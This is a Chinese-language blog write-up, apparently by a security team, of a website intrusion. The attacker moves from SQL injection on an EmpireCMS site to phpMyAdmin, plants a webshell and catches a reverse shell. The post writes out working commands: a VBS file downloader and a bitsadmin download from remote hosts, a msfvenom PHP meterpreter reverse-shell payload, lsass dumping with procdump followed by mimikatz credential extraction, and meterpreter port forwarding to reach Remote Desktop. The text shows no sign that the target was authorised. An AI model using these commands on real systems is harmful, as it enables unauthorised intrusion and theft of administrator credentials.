一次艰难的网站渗透-渗透实战

  • A+
所属分类:安全文章


一次艰难的网站渗透-渗透实战

信息收集

弱口令登录失败。
网站使用帝国cms7.2

一次艰难的网站渗透-渗透实战


弱口令登录失败,使用帝国cms的通用漏洞,失败。
在知道绝对路径的情况下,dba权限的sql注入可以直接执行os-shell命令拿shell。
扫描开放端口,反查域名,寻找最可能存在sql注入的网站。

一次艰难的网站渗透-渗透实战


经过多次尝试,发现了一个联合查询型。且为dba权限的注入点。

一次艰难的网站渗透-渗透实战

sql注入的利用

已知绝对路径,且注入点为dba权限,在平时的大多数渗透中,就已经意味着getshell了。
然而,在这次渗透中,os-shell并没有执行成功。

一次艰难的网站渗透-渗透实战


经过多次尝试都以失败告终,猜测某种waf起了作用。
尝试使用sqlmap的写文件命令(--file-write 本地文件地址  --file-dest 写入地址),直接写入文件到网站目录下。

一次艰难的网站渗透-渗透实战


一次艰难的网站渗透-渗透实战


没有找到文件,多次尝试sqlmap无法成功写入文件。
尝试使用sql-shell执行sql语句写入文件。

一次艰难的网站渗透-渗透实战


失败,显示不支持非查询语句。

一次艰难的网站渗透-渗透实战


肉到嘴边吃不到呢,这感觉不好,sqlmap中所有能getshell的方法,都试的差不多了,依然没有成功。
这时突然想起了网站存在phpmyadmin,也许可以通过phpmyadmin拿shell。
不知道数据库密码,需要通过sqlmap的--file-read命令读取网站的配置文件。一般情况下网站配置文件的位置是没法确定的,然而,网站使用了帝国cms,一般配置文件的位置是固定的。帝国cms7.0后配置文件在e/config/config.php

一次艰难的网站渗透-渗透实战


成功读取到网站配置信息。

一次艰难的网站渗透-渗透实战

phpmyadmin的利用

使用获取到的密码登录phpmyadmin

一次艰难的网站渗透-渗透实战


执行sql语句写入文件。

一次艰难的网站渗透-渗透实战


执行成功。

一次艰难的网站渗透-渗透实战


访问生成的文件,可以访问到,使用菜刀连接失败。

一次艰难的网站渗透-渗透实战


怀疑是木马没有免杀,或者菜刀流量被拦截。
换上免杀马,使用插件hackbar执行一句话,和加密中转shell流量都以失败告终。
经过多次尝试对比,发现脚本木马只能够本地执行,无法远程执行命令。


<?php echo `ipconfig`>


生成一个本地执行ipconfig的脚本文件,并把内容输出出来。
访问该文件,成功访问到输出的ip信息。

一次艰难的网站渗透-渗透实战


一次艰难的网站渗透-渗透实战


猜测正向连接无法使用,只能使用反向连接,把对方的shell反弹到公网。
把反弹脚本转化为16进制。

一次艰难的网站渗透-渗透实战


开启nc监听,访问生成的文件。

一次艰难的网站渗透-渗透实战


反弹成功,且为最高权限。

一次艰难的网站渗透-渗透实战


但是进程中发现存在360全家桶。无法添加用户。只能尝试读取当前管理员的密码。
且上传Mimikatz无法做到免杀。


Procdump+Mimikatz:

Procdump由微软官方提供:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分为2步:
1、导出lsass.exe进程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、使用mimikatz破解导出的文件lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords fullexit

因此现在需要上传procdump64.exe生成lsass.dmp文件,下载下来在本地读取密码。

下载文件

1、创建downfile.vbs下载文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.40.13:9090/fileLibrary/5d5X9mSTZXjH9VlhXNN/x.txt D:\tomcat8.5\webapps\x.jsp

2、使用bitsadmin命令

bitsadmin /transfer n http://www.xx.com/code.jpg c:userssdypdesktopff.jpg

首先利用第一种方法下载,上传vbs文件失败了,360全家桶果然可以。vps被当成病毒被杀了。
使用第二种方法,也失败了,不知道是由于什么原因失败的。
在dos命令无法满足我的情况下,msf出场了。

msf利用

由于到目前为止,只能通过数据库进行文件的上传。
因此需要用到php的反弹木马,再加上360全家桶不会去检查网站文件的安全性,省了免杀处理的环节。
php反弹木马使用php/meterpreter/reverse_tcp模块

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
一次艰难的网站渗透-渗透实战


转化为16进制,使用phpmyadmin上传,开启监听,访问上传的文件。

一次艰难的网站渗透-渗透实战


成功接收到了会话。
使用meterpreter的上传命令上传procdump64.exe到网站根目录
使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令导出lsass.dmp文件到根目录下载下来。

一次艰难的网站渗透-渗透实战


使用内核相同到虚拟机运行mimikatz,得到管理员明文的账户密码。

一次艰难的网站渗透-渗透实战

到这一步已经得到了管理员到账户密码,下一步需要把远程连接服务转发出来。
使用tasklist  /svc命令查看TermService的进程号。
使用netstat -ano查看进程号对应的端口为5277
确定5277为修改后远程桌面服务端口。
在meterpreter中使用端口转发,转发5277到本地的5555端口。

portfwd add -l 5555 -p 5277 -r 192.168.100.208

远程桌面连接本地的5555端口,输入得到的账户密码,登录成功。

一次艰难的网站渗透-渗透实战

总结

证实了服务器的防护很多,vbs文件被杀了!终于渗透成功,总归只能说网站的运行权限太高了,如果只是普通用户,想要拿下这台服务器可真的是太难了。

E


N


D








Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

一次艰难的网站渗透-渗透实战


一次艰难的网站渗透-渗透实战我知道你在看

一次艰难的网站渗透-渗透实战

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: